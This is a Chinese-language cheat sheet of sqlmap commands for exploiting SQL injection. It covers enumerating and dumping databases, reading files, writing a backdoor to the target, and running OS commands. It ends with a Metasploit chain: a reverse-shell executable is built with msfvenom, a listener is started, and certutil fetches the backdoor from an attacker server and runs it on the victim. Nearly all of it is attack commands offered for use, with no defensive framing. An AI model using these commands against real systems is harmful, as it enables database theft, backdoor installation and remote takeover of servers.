Sqlmap使用篇
sqlmap:中文使用手册:https://sqlmap.highlight.ink/
一、Sqlmap 数据库注入数据猜解
wind注入过程保存在 C:/Users/用户名/.sqlmap/output/文件夹中 (需要注入网站才会生成)
kail注入过程存在 ~/.local/share/sqlmap/output/文件中
GET:
python sqlmap.py -u "URL" --privileges #查看权限
python sqlmap.py -u "URL" --is-dba #查看是否为管理员
python sqlmap.py -u "URL" --purge #清除缓存
python sqlmap.py -u "URL" --os-shell=(命令) #交互式命令执行
python sqlmap.py -u "URL" --os-cmd=(命令) #交互式命令执行
python sqlmap.py -u "URL" --dbs #获取数据库信息
python sqlmap.py -u "URL" --current-db #获取当前数据库信息
python sqlmap.py -u "URL" --tables -D "数据库名" #获取数据库表信息
python sqlmap.py -u "URL" --columns -T "表名" -D "数据库名" #获取数据库表的列信息
python sqlmap.py -u "URL" --dump -C "列名" -T "表名" -D "数据库名" #获取数据库表的列内的内容
python sqlmap.py -u "URL" --dump -C "列名,列名" -T "表名" -D "数据库名" #获取数据库表的列内的内容
POST:
python sqlmap.py -r 1.txt #1.txt为注入点数据包 。。其余操作一致
二、Sqlmap 高权限注入读写执行
python sqlmap.py -u "URL" --file-read "文件路径" #文件读取
python sqlmap.py -u "URL" --file-write "本地后门路径" --file-dest "写入目标地址文件路径" #文件写入
三、Sqlmap 高权限注入联动MSF
为最高权限用户时
1. python sqlmap.py -u "URL" --os-shell=(命令) #交互式命令执行
1. python sqlmap.py -u "URL" --os-cmd=(命令) #交互式命令执行
2.攻击者服务器msf生成后门
msfvenom -p windows/meterpreter/reverse_http lhost=服务器地址 lport=端口 -f exe -o sql.exe
开启监听:
msf6> use exploit/multi/handler
msf6> set lhost 0.0.0.0
msf6> set lport 6666
msf6> run
3.目标主机
(下载前先确认目标机盘符/地址路径)
python sqlmap.py -u "URL" --os-shell=certutil -urlcache -split -f http://攻击者服务器地址/后门文件 下载到目标机地址下d:/sql.exe #交互式命令执行下载后门
python sqlmap.py -u "URL" --os-shell=d:/sql.exe 执行目标机器后门 交互式命令执行目标机上的后门反弹shell